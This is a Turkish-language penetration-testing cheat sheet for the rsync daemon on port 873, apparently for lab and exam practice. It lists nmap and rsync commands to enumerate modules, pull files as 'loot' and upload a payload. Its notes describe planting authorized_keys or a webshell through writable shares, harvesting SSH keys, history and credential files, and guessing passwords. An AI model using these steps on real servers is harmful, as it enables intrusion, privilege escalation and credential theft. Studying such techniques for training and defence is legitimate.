873
rsync
linuxrsync daemon'da modül (share) listeleme, anonim okuma/yazma testi ve yazılabilir modüller üzerinden dosya sızdırma veya yükleme ile foothold/privesc.
┌──
Komutlar
nmap ✓ EXAM-SAFE
nmap -p873 -sV --script rsync-list-modules {{RHOST}} rsync sürümü ve paylaşılan modülleri (share adları) listeler. Nmap NSE — rsync-list-modules
rsync ✓ EXAM-SAFE
rsync -av --list-only rsync://{{RHOST}}/ rsync daemon'daki tüm modülleri (paylaşımları) listeler. HackTricks — Pentesting Rsync
rsync ✓ EXAM-SAFE
rsync -av --list-only rsync://{{RHOST}}/share_name Belirli bir modülün içeriğini (dosya/dizin ağacını) listeler. HackTricks — Pentesting Rsync
rsync ✓ EXAM-SAFE
rsync -av rsync://{{RHOST}}/share_name ./loot Modüldeki dosyaları yerel makineye indirir (anonim okuma testi). HackTricks — Pentesting Rsync
rsync ✓ EXAM-SAFE
rsync -av ./payload rsync://{{RHOST}}/share_name/ Yazılabilir modüle dosya yükler; örn. cron/webroot yoluna yazma ile RCE. HackTricks — Pentesting Rsync
rsync ✓ EXAM-SAFE
rsync -av --port=873 'rsync://{{USER}}@{{RHOST}}/share_name' Kimlik doğrulamalı modüle kullanıcı adıyla bağlanma (parola istenir). HackTricks — Pentesting Rsync
Genel Bakış
rsync (873/tcp) daemon modu, ‘module’ adı verilen paylaşımlar sunar. Çoğu lab senaryosunda anonim okuma (ve bazen yazma) açıktır.
Enumeration
- Önce modül listesini al:
--list-only rsync://{{RHOST}}/. Her modül bir dizin paylaşımıdır. - Her modülün içeriğini ayrı ayrı listele. Listeleme için kimlik gerekmiyorsa anonim erişim açıktır.
Exploitation
- Okuma: İlginç modülleri (örn. home dizinleri, web köküyle eşleşen yollar) indir; SSH anahtarı, config, parola ara.
- Yazma: Yazılabilir bir modül varsa ve fiziksel yol bilinen hassas bir konuma (webroot,
/root/.ssh, cron dizini) denk geliyorsa, kendiauthorized_keysveya webshell’ini upload ederek erişim/privesc elde edebilirsin. - Yazma testini güvenli bir geçici dosyayla yap; modülün gerçek fiziksel yolunu loot ettiğin config’lerden (rsyncd.conf) doğrula.
Auth Notu
- Modül
auth usersile korunuyorsa kullanıcı adı + parola gerekir; toplanan kullanıcılarla parola denemesi yapılabilir.
Pivot / Loot
- rsyncd.conf veya modül secrets dosyaları parola sızdırabilir; indirilen home dizinlerinde
.bash_history,id_rsave credential dosyalarını tara.
┌──
İlgili teknikler
┌──
Kaynaklar
↗ HackTricks — Pentesting RsyncNmap NSE — rsync-list-modules